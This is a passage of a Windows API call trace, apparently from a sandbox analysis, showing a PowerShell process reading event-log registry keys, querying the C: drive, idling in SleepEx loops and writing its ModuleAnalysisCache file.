phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.570] RegCloseKey (hKey=0x654) returned 0x0 [0185.570] RegOpenKeyExW (in: hKey=0x650, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.570] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.570] RegCloseKey (hKey=0x654) returned 0x0 [0185.570] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.570] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.570] RegCloseKey (hKey=0x654) returned 0x0 [0185.571] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.571] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.571] RegCloseKey (hKey=0x654) returned 0x0 [0185.571] RegOpenKeyExW (in: hKey=0x650, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.571] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.571] RegCloseKey (hKey=0x654) returned 0x0 [0185.571] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x5 [0185.576] RegOpenKeyExW (in: hKey=0x650, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.576] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x0) returned 0x2 [0185.576] RegCloseKey (hKey=0x654) returned 0x0 [0185.577] RegOpenKeyExW (in: hKey=0x650, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x654) returned 0x0 [0185.577] RegOpenKeyExW (in: hKey=0x654, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe07e888 | out: phkResult=0x5bfe07e888*=0x658) returned 0x0 [0185.577] RegCloseKey (hKey=0x658) returned 0x0 [0185.577] RegCloseKey (hKey=0x650) returned 0x0 [0185.578] RegCloseKey (hKey=0x654) returned 0x0 [0185.581] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1ef707a0008 [0185.584] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef0031ad80*="Registry", lpRawData=0x1ef0031abc8) returned 1 [0185.597] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef003205d0*="Alias", lpRawData=0x1ef00320438) returned 1 [0185.601] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef00325c30*="Environment", lpRawData=0x1ef00325a98) returned 1 [0185.603] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x5bfe07e9b0, nSize=0x80 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0185.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x10 [0185.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy", nBufferLength=0x10, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy", lpFilePart=0x0) returned 0xf [0185.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07ea80) returned 1 [0185.604] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy" (normalized: "c:\\users\\fd1hvy"), fInfoLevelId=0x0, lpFileInformation=0x5bfe07eb60 | out: lpFileInformation=0x5bfe07eb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0185.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07ea40) returned 1 [0185.605] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x5bfe07d960, nSize=0x80 | out: lpBuffer="ᰐ渽ǯ") returned 0x0 [0185.605] GetLogicalDrives () returned 0x4 [0185.606] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0185.606] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.607] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07ea30) returned 1 [0185.607] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x5bfe07e8f0, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x5bfe07eaf0, lpMaximumComponentLength=0x5bfe07eae8, lpFileSystemFlags=0x5bfe07eae0, lpFileSystemNameBuffer=0x5bfe07e880, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x5bfe07eaf0*=0xb4197730, lpMaximumComponentLength=0x5bfe07eae8*=0xff, lpFileSystemFlags=0x5bfe07eae0*=0x3e702ff, lpFileSystemNameBuffer="NTFS") returned 1 [0185.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07e9c0) returned 1 [0185.608] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.608] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.613] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0185.613] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07ea10) returned 1 [0185.613] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x1ef00327ef8 | out: lpFileInformation=0x1ef00327ef8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x31b3b9e4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb02f28ca, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xb02f28ca, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0185.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07e9d0) returned 1 [0185.613] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0185.613] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.614] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.614] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.621] PathIsNetworkPathW (pszPath="C:\\") returned 0 [0185.622] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5 [0185.622] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x5, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0185.622] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.623] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0185.627] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0185.628] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef0032c638*="FileSystem", lpRawData=0x1ef0032c4a0) returned 1 [0185.632] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef00331df0*="Function", lpRawData=0x1ef00331c58) returned 1 [0185.635] ReportEventW (hEventLog=0x1ef707a0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x1ef00337310*="Variable", lpRawData=0x1ef00337178) returned 1 [0185.695] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.741] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.788] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.959] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.147] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.578] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.721] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.860] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.010] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.794] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.805] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.806] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.820] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.835] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.836] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.882] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.919] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.928] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0193.992] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.038] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.086] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.103] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.103] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.117] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.117] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.119] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.134] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.136] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.148] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.150] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.151] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.162] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.164] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0194.168] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.851] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.916] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0200.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.024] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.034] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.083] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.093] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.121] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.122] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.123] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.124] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.124] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.126] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.129] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.129] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.196] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.197] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.198] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.213] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.545] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.636] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.647] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.655] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.683] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.761] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.882] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0201.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.035] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.038] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0202.041] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0203.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.120] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.341] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.443] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe07eff8 | out: UnbiasedTime=0x5bfe07eff8) returned 1 [0206.465] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0206.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0206.465] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0206.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07e9e0) returned 1 [0206.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x1ef006f5400 | out: lpFileInformation=0x1ef006f5400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xa6871230, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0xbdca)) returned 1 [0206.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07e9a0) returned 1 [0206.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0206.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0206.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfe07e930) returned 1 [0206.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9fc [0206.472] GetFileType (hFile=0x9fc) returned 0x1 [0206.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfe07e8a0) returned 1 [0206.473] GetFileType (hFile=0x9fc) returned 0x1 [0206.482] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07e978, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07e978*=0x1000, lpOverlapped=0x0) returned 1 [0206.483] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07e9b8, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07e9b8*=0x1000, lpOverlapped=0x0) returned 1 [0206.484] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.484] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.484] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.485] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.485] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07e9b8, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07e9b8*=0x1000, lpOverlapped=0x0) returned 1 [0206.485] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07e978, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07e978*=0x1000, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.486] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5bfe07ea08, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07ea08*=0x1000, lpOverlapped=0x0) returned 1 [0206.487] WriteFile (in: hFile=0x9fc, lpBuffer=0x1ef006f55c0*, nNumberOfBytesToWrite=0xdca, lpNumberOfBytesWritten=0x5bfe07e928, lpOverlapped=0x0 | out: lpBuffer=0x1ef006f55c0*, lpNumberOfBytesWritten=0x5bfe07e928*=0xdca, lpOverlapped=0x0) returned 1 [0206.487] CloseHandle (hObject=0x9fc) returned 1 [0209.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0209.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: 